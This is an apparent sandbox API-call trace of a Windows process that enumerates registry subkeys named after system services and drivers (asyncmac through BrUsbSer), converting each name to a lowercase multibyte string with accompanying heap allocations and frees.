[0258.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0258.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.870] RegEnumKeyW (in: hKey=0x148, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0258.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0258.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0258.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.870] RegEnumKeyW (in: hKey=0x148, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0258.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0258.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1df0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0258.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.870] RegEnumKeyW (in: hKey=0x148, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0258.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0258.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.871] RegEnumKeyW (in: hKey=0x148, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0258.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0258.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.871] RegEnumKeyW (in: hKey=0x148, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0258.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0258.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.871] RegEnumKeyW (in: hKey=0x148, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0258.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0258.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.871] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.871] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0258.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0258.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0258.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.872] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0258.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0258.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0258.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.872] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0258.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0258.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0258.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.872] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0258.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0258.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1df0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0258.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.873] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0258.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0258.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0258.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.873] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0258.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0258.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.873] RegEnumKeyW (in: hKey=0x148, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0258.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0258.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0258.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.873] RegEnumKeyW (in: hKey=0x148, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0258.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0258.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.874] RegEnumKeyW (in: hKey=0x148, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0258.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0258.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.874] RegEnumKeyW (in: hKey=0x148, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0258.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0258.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.874] RegEnumKeyW (in: hKey=0x148, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0258.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0258.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.875] RegEnumKeyW (in: hKey=0x148, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0258.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0258.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.875] RegEnumKeyW (in: hKey=0x148, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0258.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0258.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.875] RegEnumKeyW (in: hKey=0x148, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0258.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0258.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 